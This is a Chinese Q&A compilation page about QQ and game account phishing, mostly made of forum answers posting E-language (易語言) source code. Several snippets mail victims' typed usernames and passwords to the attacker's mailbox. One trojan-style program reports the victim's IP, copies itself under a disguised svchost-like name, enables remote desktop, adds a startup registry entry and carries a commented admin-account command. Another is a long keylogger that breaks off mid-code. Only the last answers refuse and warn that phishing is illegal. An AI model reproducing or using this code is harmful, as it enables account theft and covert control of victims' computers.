轉轉釣魚源碼
Ⅰ 易語言釣魚源碼
嗯嗯，改的設置對著呢。
但是你貌似沒有填埠號，TX的應該是25，因為我填的是25……能發出去
可以這么寫：
連接發信伺服器 (「smtp.qq.com」, 25, 用戶名, 密碼)
發送郵件 (「號來了！」, 「賬號：」 + 編輯框2.內容 + #換行符 + 「密碼：」 + 編輯框2.內容, 「*@qq.com」, , ,「*@qq.com」,)
但是，發送的時候360會攔截下來。這個你得注意下，其實你家機子要是固定IP的話，可以做個伺服器。還有就是你這個驗證根本不行，我賬號填個1，密碼填個1，那豈不就完事了，還能登上去，你又來一個垃圾。可以加個驗證。
'------------------------驗證源碼
.版本 2
登錄網頁 ＝ 網頁源碼編碼轉換 (溫暖HTTP讀文件 (「http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=」))
' 溫暖HTTP讀文件 (「http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=」))
產生sid ＝ 取文本之間內容 (登錄網頁, 「sid=」, 「&」)
登錄返迴文本 ＝ 進行POST (尋找POST參數 (登錄網頁, 「馬上登錄」), _啟動窗口.編輯框1.內容, _啟動窗口.編輯框2.內容)
.判斷開始 (尋找文本 (登錄返迴文本, 「登錄密碼錯誤」, , 假) ＞ 0)
延時 (1000)
密碼錯誤反饋.調用反饋事件 (, , )
.判斷 (尋找文本 (登錄返迴文本, 「登錄失敗，可能系統繁忙，請稍後重試」, , 假) ＞ 0)
延時 (500)
帳號錯誤反饋.調用反饋事件 (, , )
.判斷 (尋找文本 (登錄返迴文本, 「您填寫的帳號或密碼不正確，請重新輸入」, , 假) ＞ 0)
延時 (1000)
密碼錯誤反饋.調用反饋事件 (, , )
.判斷 (尋找文本 (登錄返迴文本, 「您輸入的帳號不存在」, , 假) ＞ 0)
延時 (500)
帳號錯誤反饋.調用反饋事件 (, , )
.判斷 (尋找文本 (登錄返迴文本, 「登錄成功」, , 假) ＞ 0)
登錄成功網頁 ＝ 登錄返迴文本
sid ＝ 產生sid
延時 (1000)
主界面反饋.調用反饋事件 (, , )
.判斷 (尋找文本 (登錄返迴文本, 「請輸入驗證碼」, , 假) ＞ 0)
驗證碼圖片地址 ＝ 取文本之間內容 (登錄返迴文本, 「<img src=」 ＋ #引號, #引號)
延時 (1000)
驗證碼反饋.調用反饋事件 (, , )
.如果 (全局驗證碼內容 ＝ 「」)
_啟動窗口.可視 ＝ 真
.否則
輸入驗證碼返迴文本 ＝ 進行POST (尋找POST參數 (登錄返迴文本, 「馬上登錄」), , , 全局驗證碼內容)
.判斷開始 (尋找文本 (輸入驗證碼返迴文本, 「登錄成功」, , 假) ＞ 0)
登錄成功網頁 ＝ 輸入驗證碼返迴文本
sid ＝ 產生sid
延時 (1000)
主界面反饋.調用反饋事件 (, , )
.默認
延時 (1000)
密碼錯誤反饋.調用反饋事件 (, , )
' -----------------接下來不是源碼了
這里還要用到一個溫暖HTTP應用模塊，我給你傳上來吧。
我自己寫了個不帶驗證的奧拉星「外掛」，你可以看看，嘻嘻……（其實還是盜號的，只是不發送過來）
Ⅱ QQ釣魚生成器源碼（易語言的）！
連接發信伺服器 (「smtp.qq.com」, 25, 「這里輸入你自己的帳號」, 「這里輸入你自己的密碼」, )
發送郵件 (「帳號來了」, 「帳號：」 ＋ 編輯框1.內容 ＋ #換行符 ＋ 「密碼：」 ＋ 編輯框2.內容 ＋ #換行符, 「這里輸入你的郵箱地址：」, , , 「這里輸入你的郵箱地址 例如：[email protected]」, )
臨時記錄 ＝ 編輯框1.內容 ' 記錄編輯框1 的內容
Ⅲ 易語言釣魚源碼
釣魚已經不好用了
啟動窗口加三個編輯框就可以了
.版本 2
.支持庫 internet
.支持庫 sock
.程序集 窗口程序集1
.子程序 __啟動窗口_創建完畢
.局部變數 郵箱賬號, 文本型
.局部變數 郵箱密碼, 文本型
.局部變數 收件人地址, 文本型
' 取本機
' 這個易語言釣魚基本已經被河蟹了，收件箱和發件箱必須是同一個賬戶才能收到郵件
' 反正我測試是這樣的
' 郵箱賬號不需要填寫【@163.com】
郵箱賬號 ＝ 「123456」
郵箱密碼 ＝ 「654321」
收件人地址 ＝ 「123456」
編輯框1.內容 ＝ 到文本 (HTTP讀文件 (「http://www.3322.org/dyndns/getip」))
編輯框2.內容 ＝ 到文本 (取本機名 ())
' 發送本機IP到郵箱
連接發信伺服器 (「smtp.163.com」, 25, 郵箱賬號, 郵箱密碼, )
發送郵件 (「客戶IP」, 「IP地址:」 ＋ 編輯框1.內容 ＋ #換行符 ＋ 「客戶名稱：」 ＋ 編輯框2.內容, 收件人地址, , , 收件人地址, 收件人地址)
' 復制文件 (, )
置文件屬性 (取運行目錄 () ＋ 「」 ＋ 取執行文件名 (), 1 ＋ 2 ＋ 4)
復制文件 (取運行目錄 () ＋ 「」 ＋ 取執行文件名 (), 「C:windowssvchcst.exe」)
復制文件 (取運行目錄 () ＋ 「」 ＋ 取執行文件名 (), 「C:windowssystem32svchcst.exe」)
' 開啟3389
寫注冊項 (4, 「 ServerfDenyTSConnections」, 0)
' 添加用戶
' 運行 (「cmd /c net user 」 ＋ 「xiaoxia」 ＋ 「 」 ＋ 「123456」 ＋ 「 /add & net localgroup administrators 」 ＋ 「xiaxia」 ＋ 「 /add」, 假, 1)
' 寫開機啟動
寫注冊項 (#現行用戶, 「」, 取運行目錄 () ＋ 「」 ＋ 取執行文件名 ())
' 程序結束
延時 (5000)
銷毀 ()
' shift後門
Ⅳ QQ釣魚生成器源碼（易語言的）！
.版本 2
.支持庫 internet
.子程序 _按鈕1_被單擊
連接發信伺服器 (「smtp.qq.com」, 25, 「Qq帳號」, 「密碼」, )
發送郵件 (「有魚上鉤」, 編輯框1.內容 ＋ #換行符 ＋ 編輯框2.內容, 「QQ帳號：@qq.com」, , , 「QQ帳號：@qq.com」, )
Ⅳ 易語言密保釣魚源碼
.版本 2
.支持庫 eAPI
.程序集 窗口程序集1
.程序集變數 bl, 邏輯型
.子程序 鍵盤記錄, 文本型
.參數 大小寫狀態, 邏輯型
.局部變數 回車, 整數型
.局部變數 空格, 整數型
.局部變數 Q, 整數型
.局部變數 W, 整數型
.局部變數 E, 整數型
.局部變數 R, 整數型
.局部變數 T, 整數型
.局部變數 Y, 整數型
.局部變數 U, 整數型
.局部變數 I, 整數型
.局部變數 O, 整數型
.局部變數 P, 整數型
.局部變數 A, 整數型
.局部變數 S, 整數型
.局部變數 D, 整數型
.局部變數 F, 整數型
.局部變數 G, 整數型
.局部變數 H, 整數型
.局部變數 J, 整數型
.局部變數 K, 整數型
.局部變數 L, 整數型
.局部變數 Z, 整數型
.局部變數 C, 整數型
.局部變數 V, 整數型
.局部變數 x, 整數型
.局部變數 B, 整數型
.局部變數 N, 整數型
.局部變數 M
.局部變數 S1
.局部變數 S2
.局部變數 S3
.局部變數 S4
.局部變數 S5
.局部變數 S6
.局部變數 S7
.局部變數 S8
.局部變數 S9
.局部變數 S0
.局部變數 加
.局部變數 減
.局部變數 除
.局部變數 飛
.局部變數 BACK
.局部變數 TAB
.局部變數 Ctrl
.局部變數 Alt
.局部變數 大寫
.局部變數 Shift
.局部變數 Win
.局部變數 n1
.局部變數 n2
.局部變數 n3
.局部變數 n4
.局部變數 n5
.局部變數 n6
.局部變數 n7
.局部變數 n8
.局部變數 n9
.局部變數 n0
.局部變數 n點
.局部變數 n回車
.局部變數 n加
.局部變數 n減
.局部變數 n除
.局部變數 n乘
.局部變數 F1
.局部變數 F2
.局部變數 F3
.局部變數 F4
.局部變數 F5
.局部變數 F6
.局部變數 F7
.局部變數 F8
.局部變數 F9
.局部變數 F10
.局部變數 F11
.局部變數 F12
.局部變數 Insert
.局部變數 Home
.局部變數 PageUp
.局部變數 Delete
.局部變數 End
.局部變數 PageDown
.局部變數 逗號
.局部變數 句號
.局部變數 斜杠
.局部變數 NumLock
.局部變數 ScrollLock
.局部變數 PrintScreen
.局部變數 Pause
.局部變數 Esc
.局部變數 上方向
.局部變數 下方向
.局部變數 左方向
.局部變數 右方向
.局部變數 右Win
.局部變數 L方括弧
.局部變數 R方括弧
.局部變數 引號
.局部變數 分號
L方括弧 ＝ GetAsyncKeyState (219)
R方括弧 ＝ GetAsyncKeyState (221)
分號 ＝ GetAsyncKeyState (186)
引號 ＝ GetAsyncKeyState (222)
右Win ＝ GetAsyncKeyState (92)
上方向 ＝ GetAsyncKeyState (38)
下方向 ＝ GetAsyncKeyState (40)
左方向 ＝ GetAsyncKeyState (37)
右方向 ＝ GetAsyncKeyState (39)
逗號 ＝ GetAsyncKeyState (188)
NumLock ＝ GetAsyncKeyState (144)
ScrollLock ＝ GetAsyncKeyState (145)
PrintScreen ＝ GetAsyncKeyState (44)
Pause ＝ GetAsyncKeyState (19)
Esc ＝ GetAsyncKeyState (27)
句號 ＝ GetAsyncKeyState (190)
n0 ＝ GetAsyncKeyState (96)
n1 ＝ GetAsyncKeyState (97)
n2 ＝ GetAsyncKeyState (98)
n3 ＝ GetAsyncKeyState (99)
n4 ＝ GetAsyncKeyState (100)
n5 ＝ GetAsyncKeyState (101)
n6 ＝ GetAsyncKeyState (102)
n7 ＝ GetAsyncKeyState (103)
n8 ＝ GetAsyncKeyState (104)
n9 ＝ GetAsyncKeyState (105)
n乘 ＝ GetAsyncKeyState (106)
n加 ＝ GetAsyncKeyState (107)
n回車 ＝ GetAsyncKeyState (108)
n減 ＝ GetAsyncKeyState (109)
n點 ＝ GetAsyncKeyState (110)
n除 ＝ GetAsyncKeyState (111)
Ctrl ＝ GetAsyncKeyState (#Ctrl鍵)
Alt ＝ GetAsyncKeyState (#Alt鍵)
TAB ＝ GetAsyncKeyState (#Tab鍵)
Win ＝ GetAsyncKeyState (91)
Shift ＝ GetAsyncKeyState (#Shift鍵)
回車 ＝ GetAsyncKeyState (#回車鍵)
空格 ＝ GetAsyncKeyState (#空格鍵)
A ＝ GetAsyncKeyState (#A鍵)
B ＝ GetAsyncKeyState (#B鍵)
C ＝ GetAsyncKeyState (#C鍵)
D ＝ GetAsyncKeyState (#D鍵)
E ＝ GetAsyncKeyState (#E鍵)
F ＝ GetAsyncKeyState (#F鍵)
G ＝ GetAsyncKeyState (#G鍵)
H ＝ GetAsyncKeyState (#H鍵)
I ＝ GetAsyncKeyState (#I鍵)
J ＝ GetAsyncKeyState (#J鍵)
K ＝ GetAsyncKeyState (#K鍵)
L ＝ GetAsyncKeyState (#L鍵)
M ＝ GetAsyncKeyState (#M鍵)
N ＝ GetAsyncKeyState (#N鍵)
O ＝ GetAsyncKeyState (#O鍵)
P ＝ GetAsyncKeyState (#P鍵)
Q ＝ GetAsyncKeyState (#Q鍵)
R ＝ GetAsyncKeyState (#R鍵)
S ＝ GetAsyncKeyState (#S鍵)
T ＝ GetAsyncKeyState (#T鍵)
U ＝ GetAsyncKeyState (#U鍵)
V ＝ GetAsyncKeyState (#V鍵)
W ＝ GetAsyncKeyState (#W鍵)
x ＝ GetAsyncKeyState (#X鍵)
Y ＝ GetAsyncKeyState (#Y鍵)
Z ＝ GetAsyncKeyState (#Z鍵)
飛 ＝ GetAsyncKeyState (192)
S1 ＝ GetAsyncKeyState (49)
S2 ＝ GetAsyncKeyState (50)
S3 ＝ GetAsyncKeyState (51)
S4 ＝ GetAsyncKeyState (52)
S5 ＝ GetAsyncKeyState (53)
S6 ＝ GetAsyncKeyState (54)
S7 ＝ GetAsyncKeyState (55)
S8 ＝ GetAsyncKeyState (56)
S9 ＝ GetAsyncKeyState (57)
S0 ＝ GetAsyncKeyState (48)
減 ＝ GetAsyncKeyState (189)
加 ＝ GetAsyncKeyState (187)
除 ＝ GetAsyncKeyState (220)
BACK ＝ GetAsyncKeyState (8)
大寫 ＝ GetAsyncKeyState (20)
F1 ＝ GetAsyncKeyState (112)
F2 ＝ GetAsyncKeyState (113)
F3 ＝ GetAsyncKeyState (114)
F4 ＝ GetAsyncKeyState (115)
F5 ＝ GetAsyncKeyState (116)
F6 ＝ GetAsyncKeyState (117)
F7 ＝ GetAsyncKeyState (118)
F8 ＝ GetAsyncKeyState (119)
F9 ＝ GetAsyncKeyState (120)
F10 ＝ GetAsyncKeyState (121)
F11 ＝ GetAsyncKeyState (122)
F12 ＝ GetAsyncKeyState (123)
Insert ＝ GetAsyncKeyState (45)
Home ＝ GetAsyncKeyState (36)
PageUp ＝ GetAsyncKeyState (33)
PageDown ＝ GetAsyncKeyState (34)
End ＝ GetAsyncKeyState (35)
Delete ＝ GetAsyncKeyState (46)
斜杠 ＝ GetAsyncKeyState (191)
.如果真 (鍵判斷 (L方括弧))
返回 (「[」)
.如果真結束
.如果真 (鍵判斷 (R方括弧))
返回 (「]」)
.如果真結束
.如果真 (鍵判斷 (分號))
返回 (「;」)
.如果真結束
.如果真 (鍵判斷 (引號))
返回 (「'」)
.如果真結束
.如果真 (鍵判斷 (斜杠))
返回 (「/」)
.如果真結束
.如果真 (鍵判斷 (逗號))
返回 (「,」)
.如果真結束
.如果真 (鍵判斷 (右Win))
返回 (「{Win}」)
.如果真結束
.如果真 (鍵判斷 (右方向))
返回 (「→」)
.如果真結束
.如果真 (鍵判斷 (下方向))
返回 (「↓」)
.如果真結束
.如果真 (鍵判斷 (上方向))
返回 (「↑」)
.如果真結束
.如果真 (鍵判斷 (左方向))
返回 (「←」)
.如果真結束
.如果真 (鍵判斷 (NumLock))
返回 (「{Num Lock}」)
.如果真結束
.如果真 (鍵判斷 (ScrollLock))
返回 (「{Scroll Lock}」)
.如果真結束
.如果真 (鍵判斷 (PrintScreen))
返回 (「{Prt Scr}」)
.如果真結束
.如果真 (鍵判斷 (Pause))
返回 (「{Pause}」)
.如果真結束
.如果真 (鍵判斷 (Esc))
返回 (「{Esc}」)
.如果真結束
.如果真 (鍵判斷 (句號))
返回 (「.」)
.如果真結束
.如果真 (鍵判斷 (S0))
返回 (「0」)
.如果真結束
.如果真 (鍵判斷 (回車))
返回 (「{Enter}」)
.如果真結束
.如果真 (鍵判斷 (空格))
返回 (「{空格}」)
.如果真結束
.如果真 (鍵判斷 (A))
.如果 (大小寫狀態)
返回 (「A」)
.否則
返回 (「a」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (B))
.如果 (大小寫狀態)
返回 (「B」)
.否則
返回 (「b」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (C))
.如果 (大小寫狀態)
返回 (「C」)
.否則
返回 (「c」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (D))
.如果 (大小寫狀態)
返回 (「D」)
.否則
返回 (「d」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (E))
.如果 (大小寫狀態)
返回 (「E」)
.否則
返回 (「e」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (F))
.如果 (大小寫狀態)
返回 (「F」)
.否則
返回 (「f」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (G))
.如果 (大小寫狀態)
返回 (「G」)
.否則
返回 (「g」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (H))
.如果 (大小寫狀態)
返回 (「H」)
.否則
返回 (「h」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (I))
.如果 (大小寫狀態)
返回 (「I」)
.否則
返回 (「i」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (J))
.如果 (大小寫狀態)
返回 (「J」)
.否則
返回 (「j」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (K))
.如果 (大小寫狀態)
返回 (「K」)
.否則
返回 (「k」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (L))
.如果 (大小寫狀態)
返回 (「L」)
.否則
返回 (「l」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (M))
.如果 (大小寫狀態)
返回 (「M」)
.否則
返回 (「m」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (N))
.如果 (大小寫狀態)
返回 (「N」)
.否則
返回 (「n」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (O))
.如果 (大小寫狀態)
返回 (「O」)
.否則
返回 (「o」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (P))
.如果 (大小寫狀態)
返回 (「P」)
.否則
回答內容最多不超過10000個字
Ⅵ 如何修改釣魚網站的源碼
不支持製作釣魚網站，因為釣魚網站是非法的，同時如果詐騙了其它玩家的話被抓到是刑事罪。
修改釣魚網站的源碼也需要小心，一不小心就會中病毒。賬號被盜。
同時如果你發現釣魚網站進行欺詐，可以使用騰訊電腦管家進行舉報。
也可以使用騰訊電腦管家進行實時防護。保護你的賬號安全。
Ⅶ 誰有易語言最新釣魚源碼 要能收到郵件的
你好，郵箱釣魚都是過時的，沒有任何最新代碼，因為大家都知道，郵箱釣魚不僅會被強烈報毒，而且遇到黑客還會被盜郵箱。目前比較強大的釣魚有：虛擬機釣魚，FTP傳輸釣魚，這些報毒幾率是非常小的，而且發送賬號、密碼的時候不會被360或者殺毒軟體攔截。